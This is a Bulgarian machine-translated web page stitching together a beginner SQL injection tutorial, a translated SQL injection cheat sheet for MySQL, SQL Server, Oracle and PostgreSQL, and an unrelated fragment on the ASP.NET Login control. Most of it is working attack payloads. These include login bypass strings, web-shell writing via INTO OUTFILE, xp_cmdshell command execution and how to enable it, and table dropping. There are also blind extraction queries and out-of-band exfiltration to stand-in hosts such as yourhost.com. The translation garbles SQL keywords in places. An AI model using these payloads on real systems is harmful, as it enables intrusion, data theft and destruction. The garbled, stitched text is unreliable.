У дома Цветя SQL инжекция отвътре и отвън. Проблеми на руския пазар

SQL инжекция отвътре и отвън. Проблеми на руския пазар

Поздрави, читателю. Последно време, интересувам се от уеб сигурност и до известна степен работата е свързана с това. защото Все по-често започнах да забелязвам теми в различни форуми, с молба да покажа как работи всичко, реших да напиша статия. Статията ще бъде предназначена за тези, които не са се сблъсквали с това, но биха искали да научат. В мрежата има сравнително много статии по тази тема, но за начинаещи те са малко сложни. Ще се опитам да опиша всичко на ясен език и подробни примери.

Предговор

За да разберете тази статия, всъщност не се нуждаете от познания по SQL, но поне добро търпение и малко мозък - за запаметяване.

Вярвам, че едно четене на статията няма да е достатъчно, т.к. имаме нужда от живи примери - както знаете, практиката, в процеса на запаметяване, не е излишна. Затова ще пишем уязвими скриптове и ще тренираме върху тях.

Какво е SQL инжектиране?
говорене обикновен езике атака срещу базата данни, която ще ви позволи да извършите някакво действие, което не е планирано от създателя на скрипта. Пример от реалния живот:

Бащата написа в бележка до майка си, че тя даде на Вася 100 рубли и ги сложи на масата. Преработвайки това в шеговит SQL език, получаваме:
ВЗЕМЕТЕ 100 РУБЛИ ОТ ПОРТФЕЙЛА СИ И ГИ ДАЙТЕ НА Вася

Тъй като бащата написа бележката зле (тромав почерк) и я остави на масата, братът на Вася, Петя, я видя. Петя, като хакер, добави "ИЛИ Петя" там и получи следната заявка:
ВЗЕМЕТЕ 100 РУБЛИ ОТ ПОРТФЕЙЛА СИ И ГИ ДАЙТЕ НА Вася ИЛИ Петя

Мама, след като прочете бележката, реши, че вчера е дала пари на Вася и даде 100 рубли на Петя. Ето един прост пример за SQL injection от реалния живот :) Без филтриране на данните (мама едва различаваше почерка), Петя излезе на печалба.

обучение
За практика ще ви е необходим архив с изходните скриптове за тази статия. Изтеглете го и го разархивирайте на сървъра. Също така импортирайте базата данни и задайте данните във файла cfg.php

Търсене чрез SQL инжектиране

Както вече разбрахте, инжекцията идва от входящи данни, които не са филтрирани. Най-честата грешка е нефилтрирането на предадения ID. Е, грубо казано, заменете кавички във всички полета. Било то GET/POST заявка или дори бисквитка!

Цифров параметър за въвеждане
За практика се нуждаем от скрипт index1.php. Както казах по-горе, ние заместваме кавички в ID на новините.

защото нашата заявка няма филтриране:

$id = $_GET["id"]; $query = "SELECT * FROM новини WHERE id=$id";

Сценарият ще разбере това като

ИЗБЕРЕТЕ * ОТ новини WHERE id=1"

И ще ни даде грешка:
Предупреждение: mysql_fetch_array() очаква параметър 1 да бъде ресурс, булев, даден в C:\WebServ\domains\sqlinj\index1.php на ред 16

Ако не се генерира грешка, може да има следните причини:

1.SQL инжекцията не е тук - цитатите се филтрират или просто преобразуване към (int)
2. Деактивиран изход за грешка.

Ако въпреки това е изведена грешка - Ура! Открихме първия вид SQL инжектиране - цифров входен параметър.

Параметър за въвеждане на низ

Заявките ще бъдат изпращани до index2.php. В този файл заявката изглежда така:
$user = $_GET["user"]; $query = "SELECT * FROM новини WHERE user="$user"";

Тук правим селекция на новини по потребителско име и отново - не филтрираме.
Отново изпращаме запитване с оферта:

Даде грешка. ДОБРЕ! Така че има уязвимост. Това ни е достатъчно, за да започнем - нека се заемем с практиката.

Да вземем мерки

Малко теория

Вероятно нямате търпение да извлечете нещо от това, освен грешките. Първо, разберете, че знакът " -- " се счита за коментар в SQL.

ВНИМАНИЕ! Трябва да има интервали преди и след него. В URL адреса те се предават като %20

Всичко, което идва след коментара, ще бъде отхвърлено, тоест заявката:
ИЗБЕРЕТЕ * ОТ новини WHERE user="AlexanderPHP" -- habrahabra

Изпълнете успешно. Можете да го изпробвате на скрипта index2.php, като изпратите заявка като тази:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Научете параметър СЪЮЗ. На SQL език ключова дума СЪЮЗизползва се за комбиниране на резултатите от две SQL заявки в една таблица. Тоест, за да извадим нещо, което ни трябва от друга маса.

Ние се възползваме от това

Ако параметърът е "Числен", тогава в заявката не е необходимо да изпращаме оферта и естествено да поставим коментар накрая. Обратно към сценария index1.php.

Нека се обърнем към скрипта sqlinj/index1.php?id=1 UNION SELECT 1 . Нашата заявка към базата данни изглежда така:
ИЗБЕРЕТЕ * ОТ новини WHERE id=1 UNION ИЗБЕРЕТЕ 1
И той ни даде грешка, защото. за да работим с агрегиране на заявки, имаме нужда същото числополета.

защото Тъй като не можем да повлияем на броя им в първата заявка, трябва да изберем броя им във втората, така че да е равен на първия.

Избираме броя на полетата

Изборът на полета е много прост, просто изпратете следните заявки:
sqlinj/index1.php?id=1 UNION SELECT 1,2
грешка...
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Отново грешка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Няма грешка! Така че броят на колоните е 5.

ГРУПИРАЙ ПО
Често се случва полетата да са 20, 40 или дори 60. За да не се налага да преминаваме през тях всеки път, използваме ГРУПИРАЙ ПО

Ако искането
sqlinj/index1.php?id=1 ГРУПИРАНЕ ПО 2
не даде никакви грешки, така че броят на полетата е повече от 2. Ние се опитваме:

sqlinj/index1.php?id=1 ГРУПИРАНЕ ПО 8
Op, виждаме грешка, така че броят на полетата е по-малък от 8.

Ако няма грешка с GROUP BY 4, но има грешка с GROUP BY 6, тогава броят на полетата е 5

Дефиниране на колони за показване
За да не се показва нищо от първата заявка, достатъчно е да замените несъществуващ ID, например:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


С това действие сме определили кои колони да се показват на страницата. сега, за да замените тези числа с желаната информация, трябва да продължите заявката.

Извеждане на данни

Да кажем, че знаем, че таблицата все още съществува потребителив които има полета документ за самоличност, имеи пас.
Трябва да получим информация за потребителя с ID=1

Така че нека изградим заявка като тази:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM потребители WHERE id=1
Скриптът също продължава да извежда

За целта ще заменим името на полетата на мястото на числата 1 и 3

sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM потребители WHERE id=1
Получихме каквото ни трябваше!

За "параметър за въвеждане на низ", както в скрипта index2.phpтрябва да добавите кавичка в началото и знак за коментар в края. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM потребители WHERE id=1 --%20

Четене/запис на файлове

За да чете и записва файлове, потребителят на базата данни трябва да има разрешения FILE_PRIV.
Писане на файлове
Всъщност всичко е много просто. За да напишем файл, ще използваме функцията OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Страхотно, имаме файла. По този начин можем да качим мини-черупка:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Четене на файлове
Четенето на файлове е дори по-лесно от писането им. Достатъчно е само да използвате функцията LOAD_FILE, за мястото на полето, което избираме:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Така прочетохме предишния написан файл.

Методи за защита

Да се ​​защитите е дори по-лесно, отколкото да използвате уязвимост. Просто филтрирайте данните. Ако предавате числа, използвайте
$id = (int) $_GET["id"];
Както предложи потребителят malroc. Защитете, като използвате PDO или подготвени изявления.

Вместо да завършите

С това искам да завърша първата си част за „SQL инжектиране за начинаещи“. Във втория ще разгледаме повече тежки примериинжекции. Опитайте се сами да пишете уязвими скриптове и да изпълнявате заявки.
И помнете, не се доверявайте на нито един потребител на вашия сайт.

Тагове: Добавете тагове

SQL Injection Cheat Sheet, създаден за обобщено описание технически характеристики различни видовеУязвимости при инжектиране на SQL. Статията представя характеристиките на SQL инжектиране в MySQL, Microsoft SQL сървър , ORACLEи PostgreSQL.

0. Въведение
В тази статия можете да намерите подробна техническа информация за различни видове SQL инжекция. Може да бъде полезен както за опитни специалисти, така и за начинаещи в областта на информационната сигурност.

AT този моментбележката съдържа информация само за MySQL, Microsoft SQL Server и някои данни за ORACLE и PostgreSQL. Разделите съдържат синтаксис, обяснения и примери за инжекции.

Използвана нотация:
M (MySQL);
S (SQL сървър);
O (Оракул);
P (PostgreSQL);
+ (евентуално в други бази данни);
* (необходими са специални условия).

1. Редови коментари
Коментарите обикновено са полезни за игнориране на част от заявка.
Синтаксис:
-- (SM): DROP примерна таблица;--
# (M): DROP примерна таблица; #
Пример:
потребителско име: администратор" --
Генерирана заявка: SELECT * FROM members WHERE username = "admin"--" AND password = "password"
Това ще ви позволи да влезете като администраторски потребител, игнорирайки проверката на паролата.

2. Блокиране на коментари
С тяхна помощ можете да игнорирате част от заявката, да замените интервали, да заобиколите черните списъци и да определите версията на базата данни.
Синтаксис:
/*Коментар*/ (SM):
DROP/*коментар*/sampletable
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM име на таблица
Това е специален синтаксис за коментари за MySQL. Позволява ви да откриете версията на MySQL. Този коментар ще работи само в MySQL
Примери:
ID: 10; DROP TABLE членове /*
Игнорирайте останалата част от заявката, точно като вграден коментар.

ID: /*!32302 10*/
ще получите същия отговор като при ID=10, ако версията на MySQL е по-висока от 3.23.02

ID: /*!32302 1/0, */
Генерирана заявка: SELECT /*!32302 1/0, */ 1 FROM име на таблица
Ще възникне грешка при разделяне на 0, ако сървърът работи с MySQL версия, по-висока от 3.23.02

3. Последователност на заявките
Позволява ви да изпълнявате повече от една заявка наведнъж. Това е полезно във всяка точка на инжектиране.


Зелено - поддържа се; черно - не се поддържа; сиво - неизвестно.
Синтаксис:
; (S): ИЗБЕРЕТЕ * ОТ членове; DROP членове--
Една заявка приключи, следващата започна.
Пример:
ID: 10; ОТПУСКАНЕ на членове --
Генерирана заявка: SELECT * FROM products WHERE id = 10; DROP членове--
Тази заявка ще премахне таблицата с членове след нормална заявка.

4. Условни изрази
Ще получим отговор на заявката, когато условието е изпълнено. Това е една от ключовите точки на сляпото инжектиране. Те също така помагат за точна проверка на прости неща.
Синтаксис:
IF(условие, вярна част, фалшива част) (M): ИЗБЕРЕТЕ IF(1=1,"вярно","невярно")
IF условие true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF условие THEN истинска част; ИНАЧЕ невярна част; КРАЙ АКО; КРАЙ; (O): IF (1=1) THEN dbms_lock.sleep(3); ИНАЧЕ dbms_lock.sleep(0); КРАЙ АКО; КРАЙ;
SELECT CASE WHEN условие THEN true-part ELSE false-part END; (P): ИЗБЕРЕТЕ СЛУЧАЙ КОГАТО (1=1) ТОГАВА "A" ИНАЧЕ "B" КРАЙ;
пример:
ако ((изберете потребител) = "sa" ИЛИ (изберете потребител) = "dbo") изберете 1 иначе изберете 1/0 (S)
ще даде грешка при деление на нула, ако текущият потребител не е "sa" или "dbo".

5. Използване на числа
Използва се за заобикаляне на magic_quotes() и подобни филтри, включително WAF.
Синтаксис:
0xHEX_NUMBER (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (това не е число, а низ) (M)
ИЗБЕРЕТЕ 0x50 + 0x45 (това вече е число) (M)
Примери:
ИЗБЕРЕТЕ LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Покажете съдържанието на файла c:\boot.ini

6. Конкатенация на низове
Операциите с редове могат да помогнат за заобикаляне на филтри или идентифициране на база данни.
Синтаксис:
+ (S): ИЗБЕРЕТЕ вход + "-" + парола ОТ членове
|| (*MO): ИЗБЕРЕТЕ вход || "-" || парола ОТ членове
Ще работи, ако MySQL работи в режим ANSI. В противен случай MySQL няма да го приеме като логически оператор и ще върне 0. По-добре е да използвате функцията CONCAT() на MySQL.

CONCAT(str1, str2, str3, ...) (M): ИЗБЕРЕТЕ CONCAT(вход, парола) ОТ членове

7. Низове без кавички
Има няколко начина да избегнете кавички в заявка, като CHAR() (MS) и CONCAT() (M).
Синтаксис:
ИЗБЕРЕТЕ 0x457578 (M)

MySQL има лесен начин да представи низ като шестнадесетичен код:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Връща низа "KLM":
ИЗБЕРЕТЕ CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
ИЗБЕРЕТЕ CHAR(75)+CHAR(76)+CHAR(77) (S)
ИЗБЕРЕТЕ CHR(75)||CHR(76)||CHR(77) (O)
ИЗБЕРЕТЕ (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Преобразуване на низове и числа.
Синтаксис:
ASCII() (SMP): ИЗБЕРЕТЕ ASCII("a")
Връща ASCII кода на най-левия знак. Функцията се използва за слепи инжекции.

CHAR() (SM): ИЗБЕРЕТЕ CHAR(64)
Преобразува ASCII код в съответния знак.

9. Оператор UNION
С оператора UNION можете да направите заявка за пресичане на таблици. По принцип можете да изпратите заявка, която връща стойност от друга таблица.
Пример:
SELECT заглавка, txt FROM новини UNION ALL SELECT име, предаване FROM членове
Това ще комбинира резултатите от таблиците с новини и членове

10. Байпас за удостоверяване (SMO+)
Примери:
администратор" --
администратор" #
администратор"/*
" или 1=1--
" или 1=1#
" или 1=1/*
") или "1"="1--
") или ("1"="1--

11. Заобиколете удостоверяването с помощта на MD5
Ако приложението първо сравнява потребителското име и след това сравнява md5 хеша на паролата, тогава имате нужда от някои допълнителни трикове, за да заобиколите удостоверяването. Можете да комбинирате резултатите с известна парола и нейния хеш.
Пример (MSP):
Потребителско име: admin
Парола: 1234 " И 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Въз основа на грешки
12.1 Дефиниране на колони с HAVING BY(S)
Пример:
В същия ред
" ДА ИМАШ 1=1 --
" ГРУПИРАНЕ ПО table.columnfromerror1 HAVING 1=1 --
" ГРУПИРАНЕ ПО table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" ГРУПИРАНЕ ПО table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 -
…………….
Продължете, докато спрете да получавате грешки.

12.2 Определяне на броя на колоните с помощта на ORDER BY (MSO+)
Намирането на броя колони с ORDER BY може да се ускори чрез инжектиране на UNION.
ПОРЪЧАЙ ПО 1--
ПОРЪЧАЙТЕ ПО 2--
ПОРЪЧАЙТЕ ПО 3-
………………..
Продължете, докато получите съобщение за грешка. Това ще покаже броя на колоните.

13. Дефиниция на тип данни
Винаги използвайте UNION с ALL.
За да се отървете от ненужен запис в таблицата, използвайте -1 всички несъществуващи стойности в началото на заявката (ако инжекцията е в параметъра WHERE). Това е важно, ако можете да извличате само една стойност наведнъж.
Използвайте NULL в инжекции на UNION, вместо да се опитвате да познаете низ, дата, число и т.н. Но внимавайте със сляпото инжектиране, т.к. можете да объркате грешката на базата данни и самото приложение. Някои езици, като ASP.NET, извеждат грешка при използване на NULL стойност (защото разработчиците не са очаквали да видят нулева стойност в полето за потребителско име)
Примери:
" съюз изберете sum(columntofind) от потребители-- (S) :
Ако не получите грешка, значи колоната е числова.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Можете да използвате CAST() или CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --
Ако няма грешка, значи синтаксисът е правилен, т.е. с помощта на MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 ---
Ако няма грешка, тогава първата колона е число.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -
Ако възникне грешка, втората колона не е число.

11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --
Ако няма грешка, тогава втората колона е низ.
……………..

14. Просто вмъкване (MSO+)
Пример:
"; вмъкнете в потребителските стойности (1, "hax0r", "coolpass", 9)/*

15. Събиране на информация
Синтаксис:
@@версия (MS)
Можете да разберете версията на DB и повече подробности.
Пример:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Сложна вложка (S)
Позволява ви да вмъкнете съдържанието на файл в таблица. Ако не знаете вътрешния път на уеб приложението, можете да прочетете метабазата на IIS (само за IIS 6).
Синтаксис:
файл (%systemroot%\system32\inetsrv\MetaBase.xml)
След това можете да намерите пътищата на приложението в него.
Пример:
1. Създайте таблица foo(низ като varchar(8000))
2. Вмъкнете в таблицата foo съдържанието на файла 'c:\inetpub\wwwroot\login.asp'
3. Изтрийте временната таблица и повторете за друг файл.

17.BCP(S)
Записи текстов файл. Това изисква идентификационни данни.
Пример:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH в SQL Server(S)
Можете да използвате VBS, WSH скриптове в SQL Server.
Пример:
Потребителско име:"; декларирайте @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Изпълнете системни команди (S)
Известен трик, функцията е деактивирана по подразбиране в SQL Server 2005. Трябват ви администраторски права.
Пример:
EXEC master.dbo.xp_cmdshell "cmd.exe директория c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Специални таблици в SQL Server (S)
Примери:
Съобщения за грешка: master..sysmessages
Свързани сървъри: master..sysservers
Парола SQL Server 2000: masters..sysxlogins
Парола SQL Server 2005: sys.sql_logins

21. Множество съхранени процедури за SQL Server(S)
Синтаксис:
Cmd Изпълнение (xp_cmdshell)
Неща в регистъра (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Управление на услуги (xp_servicecontrol)
Медия(xp_availablemedia)
ODBC ресурси (xp_enumdsn)
Режим на влизане (xp_loginconfig)
Създаване на Cab файлове (xp_makecab)
Изброяване на домейни (xp_ntsec_enumdomains)
Унищожаване на процеса (изисква PID) (xp_terminate_process)
Добавете нова процедура (sp_addextendedproc)
Запишете текстов файл в UNC или вътрешен път (sp_makewebtask)
Примери:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. Групови бележки за MSSQL
Примери:
ИЗБЕРЕТЕ * ОТ master..sysprocesses /*WHERE [имейл защитен]@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe"; IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL инжектиране в LIMIT (M) заявки
Пример:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10;
За да заобиколите оператора LIMIT, можете да използвате UNION или коментар.

24. Изключване на SQL Server (S)
Пример:
";изключвам-

25. Активиране на xp_cmdshell в SQL Server 2005
Синтаксис:
По подразбиране xp_cmdshell и няколко други потенциално опасни функции са деактивирани в SQL Server 2005. Като администратор можете да ги активирате.
EXEC sp_configure "покажи разширени опции",1
ПРЕКОНФИГУРИРАНЕ
EXEC sp_configure "xp_cmdshell",1
ПРЕКОНФИГУРИРАНЕ

26. Намиране на структурата на DB в SQL Server (S)
Примери:
ИЗБЕРЕТЕ име ОТ sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Получаване на имена на колони

27. Преместване на записи (S)
Примери:
... WHERE потребители НЕ В ("Първи потребител", "Втори потребител")
Използвайте WHERE с NOT IN или NOT EXIST

ИЗБЕРЕТЕ ТОП 1 име ОТ членове, КЪДЕТО НЕ СЪЩЕСТВУВАТ (ИЗБЕРЕТЕ ТОП 0 име ОТ членове)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Изберете p.name от (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, име от sysobjects o) като p, където p.x=3) като int

Изберете p.name от (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" и i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Бърз начин за извличане на данни от базирано на грешки SQL инжектиране в SQL Server(S)
";НАЧАЛО НА ДЕКЛАРИРАНЕ @rt varchar(8000) SET @rd=":" ИЗБЕРЕТЕ @ [имейл защитен]+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

29. Търсете структура на DB в MySQL (M)
Примери:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tablename"
Получаване на потребителски таблици

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Получаване на имена на колони

30. Търсете DB структура в Oracle (O)
Примери:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Получаване на потребителски таблици

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Получаване на имена на колони

31. Слепи инжекции
В качествено приложение няма да можете да виждате съобщения за грешки. Няма да можете да използвате оператор UNION и атаки, базирани на грешки. Ще трябва да използвате сляпо SQL инжектиране, за да извлечете данните. Има два вида слепи инжекции.
Нормално сляпо инжектиране: Не можете да видите резултатите от заявките на страницата, но можете да определите резултата от отговора или HTTP статуса.
Напълно сляпо инжектиране: Няма да видите разлика в резултата.
При обикновени слепи инжекции можете да използвате оператори IF и WHERE, при напълно слепи инжекции трябва да използвате някои функции за изчакване и да сравните времената за отговор. За да направите това, можете да използвате WAIT FOR DELAY '0:0:10' в SQL Server, BENCHMARK() и sleep(10) в MySQL, pg_sleep(10) в PostgreSQL.
Пример:
Този пример се основава на реална експлоатация на сляпо инжектиране на SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Въз основа на последните две заявки знаем точно стойността на първия знак в ascii - това е 80. Така че първият знак е `P`. Така можем да разберем имената на таблиците и тяхното съдържание. Друг начин е да четете данните бит по бит.

32. Напълно сляпо инжектиране
Използвайте този метод само за наистина слепи инжекции. Внимавайте с времето за изчакване.
Синтаксис:
ИЗЧАКАЙТЕ ЗАКЪСНЕНИЕ "време" (S)
Функцията просто изчаква определеното време, без да натоварва процесора.
Примери:
ако (изберете потребител) = "sa" изчакайте забавяне "0:0:10"
ProductID =1; изчакайте закъснение "0:0:10"--
ProductID =1); изчакайте закъснение "0:0:10"--
ProductID =1"; изчакайте закъснение "0:0:10"--
ProductID =1"); изчакайте закъснение "0:0:10"--
ProductID =1));изчакайте закъснение "0:0:10"--
ProductID =1")); изчакайте закъснение "0:0:10"--
Синтаксис:
БЕНЧМАРК (колко пъти, направете това) (M)
Пример:
АКО СЪЩЕСТВУВА (ИЗБЕРЕТЕ * ОТ потребители WHERE потребителско име = "root") BENCHMARK(1000000000,MD5(1))
Проверете дали root потребителят съществува.

АКО (ИЗБЕРЕТЕ * ОТ вход) BENCHMARK(1000000,MD5(1))
Проверка на съществуването на таблица в MySQL
Синтаксис:
pg_sleep(секунди) (P)
Заспи за предоставените секунди.

сън (секунди) (M)
заспи за предоставените секунди.

bms_pipe.receive_message (O)
заспи за предоставените секунди.
Пример:
(ИЗБЕРЕТЕ СЛУЧАЙ КОГАТО (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) ТОГАВА dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) КРАЙ ОТ двойно)
(ИНЖЕКЦИЯ) е вашето искане.
Ако условието е вярно, отговорът ще бъде 10 секунди. В противен случай отговорът ще бъде 1 секунда.

33. Полезни MySQL функции
Синтаксис:
MD5()
SHA1()
ПАРОЛА()
КОДИРАНЕ()
КОМПРЕСИРАНЕ()
ROW_COUNT()
СХЕМА()
ВЕРСИЯ()

34. SQL инжекции от втори ред
Обикновено вмъквате заявка за SQL инжектиране в поле и очаквате тя да не бъде филтрирана.
Пример:
Име: " + (ИЗБЕРЕТЕ ТОП 1 парола ОТ потребители) + "
Електронна поща: [имейл защитен]
Ако приложението използва името на полето на съхранена процедура или функция, можете да го използвате за инжектиране.

35. Използване на SQL Server за извличане на NTLM хешове
Тази атака ще помогне да се получи потребителската парола на Windows на целевия сървър чрез SQL Server, ако няма достъп отвън. Можем да принудим SQL Server да се свърже с Windows чрез UNC път и да извлече NTLM сесията със специални инструменти като Cain & Abel.

Синтаксис:
UNC път: "\\ВАШИЯ IPАДРЕС\C$\x.txt"
36. Други примери за инжекции
SQL сървър:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; ДЕКЛАРИРАНЕ @q varchar(1024); SET @q = "\\"+((ИНЖЕКЦИЯ))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree@q
създава DNS заявка към (INJECTION).yourhost.com

(ИНЖЕКЦИЯ) е вашето искане.
MySQL:
?vulnerableParam=-99 ИЛИ (ИЗБЕРЕТЕ LOAD_FILE(concat("\\\\",((ИНЖЕКЦИЯ)), "yourhost.com\\")
Създава NBNS/DNS заявка към yourhost.com
?vulnerableParam=-99 ИЛИ (ИЗБЕРЕТЕ ((ИНЖЕКЦИЯ)) В ИЗХОДНИЯ ФАЙЛ "\\\\yourhost.com\\share\\output.txt")
Записва данни във вашия файл
(ИНЖЕКЦИЯ) е вашето искане.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FROM DUAL)
Снифърът ще запази резултатите
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
Резултатите ще бъдат записани в HTTP регистрационни файлове
?vulnerableParam=(ИЗБЕРЕТЕ UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") ОТ DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||'.yourhost.com',80) FROM DUAL)
Трябва да анализирате трафика на DNS заявка към yourhost.com
(ИНЖЕКЦИЯ) е вашето искане.

Този материал е адаптивен превод на статията за SQL Injection Cheat Sheet.

Контрол на влизане

Контролата за влизане улеснява създаването на страница за вход за удостоверяване на формуляр във връзка с API за членство. Той предоставя готов за използване потребителски интерфейс, който подканва за име и парола на потребителя и предоставя бутон за влизане на потребителя. Зад кулисите той капсулира функционалността, която беше описана в предишната статия: валидиране на потребителски самоличности чрез API за членство и капсулиране на основна функционалност за удостоверяване на формуляри, като например пренасочване към първоначално поисканата страница в защитената зона на приложението след успешно влизане.

Това означава, че Login капсулира неща като Membership.ValidateUser() или FormsAuthentication.RedirectFromLoginPage(), така че не е нужно да пишете този код сами. Фигурата по-долу показва контролата за влизане в действие:

Всеки път, когато потребителят щракне върху бутона Вход, контролата автоматично валидира потребителското име и паролата с помощта на функцията Membership.ValidateUser() и след това извиква FormsAuthenication.RedirectFromLoginPage(), ако валидирането е успешно. Всички опции на контролата за влизане влияят върху входа, който доставя на тези методи. Например, ако поставите отметка в квадратчето Запомни ме следващия път, то ще премине true в параметъра createPersistentCookie на метода RedirectFromLoginPage(). Следователно FormsAuthenticationModule създава постоянна бисквитка.

Влизането зад кулисите е съставна контрола на ASP.NET. Той е напълно разширяем, в смисъл, че ви позволява да замените всички стилове и свойства на оформлението, както и да улавяте генерирани събития, за да замените поведението му по подразбиране. Ако оставите контролата такава, каквато е и не улавяте никакви събития, тя автоматично ще използва доставчика на членство, конфигуриран за приложението.

Най-простата форма на контрола за влизане на страница изглежда така:

Предоставени са няколко свойства за промяна на външния вид на контролата за влизане. Можете да приложите различни стилови настройки, както е показано по-долу:

Можете също да използвате CSS класове, за да персонализирате външния вид на входа. Всяко свойство на стил, поддържано от контролата за влизане, включва свойство CssClass. Както при всяка друга ASP.NET контрола, това свойство ви позволява да посочите името на CSS клас, който преди това е бил добавен към уебсайта. Да приемем, че следният CSS стилов лист е добавен към проекта с име на файл MyStyles.css:

